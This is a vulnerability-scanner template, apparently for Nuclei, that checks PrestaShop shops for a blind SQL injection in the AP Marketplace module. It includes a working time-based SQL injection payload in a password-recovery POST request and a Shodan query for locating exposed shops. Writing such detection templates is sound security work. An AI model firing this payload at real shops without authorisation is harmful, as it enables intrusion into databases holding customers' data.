id: prestashop-apmarketplace-sqli info: name: PrestaShop Ap Marketplace SQL Injection author: mastercho severity: high description: | The AP Marketplace Prestashop module is vulnerable to Blind/Time SQL Injection. An attacker can exploit this vulnerability to execute arbitrary SQL queries on the underlying database. reference: - https://www.openservis.cz/prestashop-blog/nejcastejsi-utoky-v-roce-2023-seznam-deravych-modulu-nemate-nejaky-z-nich-na-e-shopu-i-vy/#pll_switcher metadata: verified: true max-request: 1 shodan-query: http.component:"Prestashop" tags: prestashop,sqli http: - raw: - | @timeout: 20s POST /m/apmarketplace/passwordrecovery HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded Referer: {{RootURL}} X-Requested-With: XMLHttpRequest email=" AND (SELECT 3472 FROM (SELECT(SLEEP(6)))UTQK)-- IGIe&submit_reset_pwd= matchers: - type: dsl dsl: - 'duration_2>=6' - 'contains(body, "module-apmarketplace-passwordrecovery")' condition: and # digest: 4a0a0047304502203e76a36993ea8e5483ba55aa5d7e5a3a53186239bfe398154c494e16408f55d9022100cba87aefa2e35954936fe3d80503cb55fae7199c55fd100625c1648c022c73ec:922c64590222798bb761d5b6d8e72950